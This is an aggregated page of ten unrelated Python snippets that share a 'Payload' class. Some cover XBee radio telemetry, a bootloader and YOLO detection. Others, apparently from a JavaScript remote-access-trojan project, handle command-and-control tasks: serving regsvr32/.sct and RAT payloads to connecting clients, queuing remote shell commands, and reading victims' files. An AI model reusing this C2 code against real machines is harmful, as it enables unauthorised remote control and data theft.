コード例 #1
0
    def receive(self, packet):
        self.last_packet = packet
        pld = Payload(packet.get('rf_data'))
        typeID = pld.type
        data = pld.data
        for callback in self.receive_callback:
            callback(pld)

        if typeID == cmd.TEST_ACCEL or typeID == cmd.TEST_GYRO:
            print unpack('<3h', data)
        elif typeID == cmd.TEST_DFLASH:
            print ''.join(data)
        elif typeID == cmd.TEST_BATT:
            print unpack('2H', data)
        elif typeID == cmd.TX_SAVED_DATA:
            datum = list(unpack('<L3f3h2HB4H', data))
            self.state_data.append(datum)
            self.data_cnt += 1
            if self.data_cnt % 100 == 0:
                print self.data_cnt, "/", self.last_sample_count
        elif typeID == cmd.GET_SAMPLE_COUNT:
            self.last_sample_count = unpack('H', data)[0]
            print('Last sample count %d' % self.last_sample_count)
        elif typeID == cmd.GET_GYRO_CALIB_PARAM:
            self.gyro_offsets = list(unpack('<fff', data))
            print(self.gyro_offsets)
        elif cmd.DATA_STREAMING:
            if (len(data) == 35):
                datum = list(unpack('<L3f3h2HB4H', data))
コード例 #2
0
    def detection_thread(self):
        LOGGER.debug("Init NET CV")
        # read pre-trained model and config file
        net = cv2.dnn.readNet(config.YOLO_WEIGHTS, config.YOLO_CONFIG)
        net.setPreferableBackend(cv2.dnn.DNN_BACKEND_OPENCV)
        net.setPreferableTarget(cv2.dnn.DNN_TARGET_OPENCL)

        scale = 0.00392

        while self.threads["detect"]['running']:
            payload = None
            if self.cvframe is not None and self.cvframe.any():

                blob = cv2.dnn.blobFromImage(self.cvframe,
                                             scale, (416, 416), (0, 0, 0),
                                             True,
                                             crop=False)
                width = self.cvframe.shape[1]
                height = self.cvframe.shape[0]

                net.setInput(blob)
                outs = net.forward(get_output_layers(net))

                class_ids = []
                confidences = []
                boxes = []

                conf_threshold = 0.5
                nms_threshold = 0.4

                for out in outs:
                    for detection in out:

                        scores = detection[5:]
                        class_id = np.argmax(scores)
                        confidence = scores[class_id]

                        if confidence > 0.5:
                            center_x = int(detection[0] * width)
                            center_y = int(detection[1] * height)
                            # pylint: disable=invalid-name
                            w = int(detection[2] * width)
                            h = int(detection[3] * height)
                            x = center_x - w / 2
                            y = center_y - h / 2

                            class_ids.append(class_id)
                            confidences.append(float(confidence))
                            boxes.append([x, y, w, h])

                    indices = cv2.dnn.NMSBoxes(boxes, confidences,
                                               conf_threshold, nms_threshold)

                    payload = Payload(indices, class_ids, confidences, boxes)

                    LOGGER.debug("detected:  %s", len(indices))

            self.queue.put(payload)
            time.sleep(config.SLEEP_BETWEEN_DETECT)
コード例 #3
0
ファイル: shell.py プロジェクト: rootklt/JSRat
 def session_shell(self, *args, **kwargs):
     if not args:
         print('Unkown shell args')
         return None
     cmd = args[0].strip()
     if 'pwd' == cmd:
         cmd = r'echo %cd%'
     self.JOBS['shell'] = Payload.payload_shell(jobID=1, cmd=cmd)
コード例 #4
0
ファイル: bootloader2.py プロジェクト: ikrase/bootloader
    def write(self, data):
        status = 0x00
        type = 0x00
        data_length = len(data)
        start = 0
        end = 80

        while (data_length > 0):
            if data_length > 80:
                pld = Payload(''.join(data[start:start + 80]), status, type)
                data_length -= 80
                start += 80
            else:
                pld = Payload(''.join(data[start:len(data)]), status, type)
                data_length = 0
            self.xb.tx(dest_addr=self.dest_addr, data=str(pld))
            time.sleep(0.05)
コード例 #5
0
    def do_GET(self):
        context = b''
        if self.path.startswith('/init'):
            context = Payload.init(self.server.host, self.server.port)
            print('\n[+]received {} client:{}'.format(
                BOLD('INIT'), BOLD(self.client_address[0])))
        elif self.path.startswith('/file.sct'):
            context = Payload.regsvr(self.server.host, self.server.port)
            print('\n[+]received {} client:{}'.format(
                BOLD("REGSVR32"), BOLD(self.client_address[0])))
        elif self.path == '/rat':
            context = Payload.rat(self.server.host, self.server.port,
                                  self.server.rc4_key, self.server.sleep_time)
            self.server.shell.prompt_msg = '{} >'.format(
                self.client_address[0])
            print('\n[+]received {} client:{}'.format(
                BOLD('RAT'), BOLD(self.client_address[0])))

        self.__to_reply(200, context)
コード例 #6
0
ファイル: bootloader2.py プロジェクト: ikrase/bootloader
    def read(self, length=0):
        packet = self.xb.wait_read_frame()

        pld = Payload(packet.get('rf_data'))
        #rssi = ord(packet.get('rssi'))
        #(src_addr, ) = unpack('H', packet.get('source_addr'))
        #id = packet.get('id')
        #options = ord(packet.get('options'))

        status = pld.status
        type = pld.type
        data = pld.data
        if length == 0:
            return data
        else:
            return data[:min(length, len(data))]
コード例 #7
0
ファイル: shell.py プロジェクト: rootklt/JSRat
 def show_info(self, *args):
     payload = Payload.payload_info(jobID=1)
     self.JOBS['info'] = payload
コード例 #8
0
ファイル: shell.py プロジェクト: rootklt/JSRat
 def job_init(self, sessionid):
     payload = Payload.payload_info(jobID=1)
     return payload
コード例 #9
0
ファイル: shell.py プロジェクト: rootklt/JSRat
 def session_init(self, *args, **kwargs):
     self.SESSIONS.append(kwargs['sessionID'])
     #print(kwargs['sessionID'], kwargs['job_response'])
     payload = Payload.payload_info(jobID=1)
     return payload
コード例 #10
0
ファイル: shell.py プロジェクト: rootklt/JSRat
 def session_cat(self, *args, **kwargs):
     if not args:
         print('Special filename')
         return None
     self.JOBS['cat'] = Payload.payload_cat(jobID=1, filename=args[0])